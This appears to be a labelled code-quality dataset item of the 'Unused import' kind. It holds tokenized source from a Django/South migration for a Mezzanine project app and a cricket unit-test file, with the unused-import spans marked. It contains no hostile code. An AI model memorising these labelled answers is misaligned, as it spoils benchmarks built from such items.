"Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "500", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "contenttype", "s", ".", "contenttype", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'", "name", "',)\"_", ",_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "app", "\\u", "label", "',", " ", "'", "model", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Conten", "t", "Type", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "django", "\\u", "content", "\\u", "type", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "app", "\\u", "label", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "model", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gener", "ic", ".", "assign", "ed", "keyw", "ord", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'\\u", "order", "',)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Assign", "ed", "Key", "word", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "order", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "keyw", "ord", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "assign", "ment", "s", "'\"_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "gener", "ic", ".", "Key", "word", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "pk", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gener", "ic", ".", "keyw", "ord", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Key", "word", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "site", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "sites", ".", "Site", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "slug", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "2000", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "500", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", ".", "feature", "dpr", "oj", "ect", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"[", "'-", "feature", "d\\u", "start", "\\u", "date", "']\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Feature", "d", "Project", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "by", "line", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "50", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "feature", "d\\u", "start", "\\u", "date", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "datetime", ".", "datetime", "(", "2013", ",", " ", "2", ",", " ", "2", "6", ",", " ", "0", ",", " ", "0", ")'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "photo", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "files", ".", "Image", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "One", "To", "One", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "project", ".", "Project", "']\"_", ",_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", ".", "project", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Project", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "meta", "\\u", "title", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "500", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "categor", "ies", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "project", "s", "'\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "blog", ".", "Blog", "Cate", "gory", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "created", "\\u", "datetime", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "description", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "expir", "y", "\\u", "date", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "feature", "d\\u", "photo", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "files", ".", "Image", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "feature", "d\\u", "video", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "URL", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"''\"_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "200", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "feature", "d\\u", "video", "\\u", "thumbnail", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "files", ".", "Image", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gen", "\\u", "description", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "in", "\\u", "sitemap", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "keywords", "'_", ":_", "(_", "'", "mezzanine", ".", "gener", "ic", ".", "fields", ".", "Key", "words", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "object\\u", "id", "\\u", "field", "'_", ":_", "\"'", "object\\u", "pk", "'\"_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "gener", "ic", ".", "Assign", "ed", "Key", "word", "']\"_", ",_", "'", "frozen", "\\u", "by", "\\u", "south", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "keywords", "\\u", "string", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "500", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "modifi", "ed", "\\u", "datetime", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "publi", "sh", "\\u", "date", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "score", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "short", "\\u", "url", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "URL", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "200", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "site", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "sites", ".", "Site", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "slug", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "2000", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "2", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "500", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tld", "r", "'_", ":_", "(_", "'", "mezzanine", ".", "core", ".", "fields", ".", "Rich", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "project", "s", "'\"_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "User", "']\"_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", ".", "projecti", "mage", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Project", "Image", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "file", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "files", ".", "Image", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", ".", "project", "step", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'\\u", "order", "',)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Project", "Step", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\\u", "order", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "(_", "'", "mezzanine", ".", "core", ".", "fields", ".", "Rich", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gallery", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "project", ".", "Project", "Image", "']\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "project", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "step", "s", "'\"_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "project", ".", "Project", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "title", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "500", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "video", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "URL", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "\"''\"_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "200", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sites", ".", "site", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'", "domain", "',)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Site", "'_", ",_", "'", "db", "\\u", "table", "'_", ":_", "\"'", "django", "\\u", "site", "'\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "domain", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "50", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "\\u", "apps_", "=_", "[_", "'", "project", "'_", "]_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "forwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Add", "ing", " ", "field", " ", "'", "Project", "Step", ".", "title", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "add", "\\u", "column_", "(_", "'", "project", "\\u", "project", "step", "'_", ",_", "'", "title", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "gf_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ")_", "(_", "default_", "=_", "''_", ",_", "max", "\\u", "length_", "=_", "500_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "keep", "\\u", "default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "step_", "in_", "orm_", "._", "models_", "[_", "'", "project", ".", "project", "step", "'_", "]_", "._", "objects_", "._", "iterator_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "step_", "._", "title_", "=_", "u", "'", " ", "'_", "._", "join_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "Step", "'_", ",_", "unicode_", "(_", "step_", "._", "\\u", "order_", "+_", "1_", ")_", ",_", "'", "of", "'_", ",_", "step_", "._", "project_", "._", "title_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "step_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "backwards_", "(_", "self_", ",_", "orm_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Del", "eti", "ng", " ", "field", " ", "'",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 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
pybee/cricket/tests/test_unit_integration.py
[ { "content": "import subprocess\nimport unittest\n\nimport cricket\n\nfrom cricket.unittest import discoverer\nfrom cricket.unittest import executor\n\n\n\n\n\n\n\n# This is a magic test which can be un-commented and run manually.\n# It recursively calls the text executor, and fouls up normal\n# output, so it had to be disabled as I am not smart enough\n# to actually understand and fix the issue\n\n# class TestExecutor(unittest.TestCase):\n\n# def test_suite_execution(self):\n# '''\n# Note, it's hard to test full suite discovery because\n# it will include this test and infinite loop. So just\n# testing on a single test until I can figure out something\n# smarter.\n# '''\n\n# run_only = [\n# 'tests.test_unit_integration.TestDiscoverer'\n# ]\n\n# PTE = test_executor.PyTestExecutor()\n# PTE.run_only(run_only)\n# PTE.stream_results()\n\nif __name__ == '__main__':\n unittest.main()", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestCollection(unittest.TestCase):\n", "metadata": "root.TestCollection", "header": "['module', '___EOS___']", "index": 8 }, { "content": " def test_testCollection(self):\n '''\n Confirm that the pytest discovery mechanism is capable of\n finding this test\n '''\n\n PTD = discoverer.PyTestDiscoverer()\n PTD.collect_tests()\n tests = str(PTD).split('\\n')\n\n test_found = False\n for test in tests:\n test_found |= 'test_testCollection' in test\n self.assertTrue(test_found)", "metadata": "root.TestCollection.test_testCollection", "header": "['class', 'TestCollection', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 10 }, { "content": "class TestExecutorCmdLine(unittest.TestCase):\n", "metadata": "root.TestExecutorCmdLine", "header": "['module', '___EOS___']", "index": 26 }, { "content": " def test_labels(self):\n '''\n Test that the command-line API is respecting the labels\n being targetted for testing\n '''\n\n labels = ['tests.test_unit_integration.TestCollection']\n cmdline = ['python', '-m', 'cricket.unittest.executor'] + labels\n\n runner = subprocess.Popen(\n cmdline,\n stdin=None,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=False,\n )\n\n output = ''\n for line in runner.stdout:\n output += line.decode('utf-8')\n\n self.assertIn('tests.test_unit_integration.TestCollection',\n output)\n self.assertNotIn('tests.test_unit_integration.TestExecutorCmdLine',\n output)", "metadata": "root.TestExecutorCmdLine.test_labels", "header": "['class', 'TestExecutorCmdLine', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 28 } ]
[ { "span": "import cricket", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 14 }, { "span": "from cricket.unittest import executor", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 37 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "cri", "cket", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "cri", "cket", "_", "._", "unittest_", "import_", "discovere", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cri", "cket", "_", "._", "unittest_", "import_", "executor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "magic", " ", "test", " ", "whi", "ch", " ", "can", " ", "be", " ", "un", "-", "commente", "d", " ", "and", " ", "run", " ", "manu", "ally", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "It", " ", "recurs", "ively", " ", "calls", " ", "the", " ", "text", " ", "exec", "uto", "r", ",", " ", "and", " ", "fou", "ls", " ", "up", " ", "normal_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "output", ",", " ", "so", " ", "it", " ", "had", " ", "to", " ", "be", " ", "disable", "d", " ", "as", " ", "I", " ", "am", " ", "not", " ", "smart", " ", "eno", "ugh", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "actual", "ly", " ", "underst", "and", " ", "and", " ", "fix", " ", "the", " ", "issue_", "\\u\\u\\uNL\\u\\u\\u_", 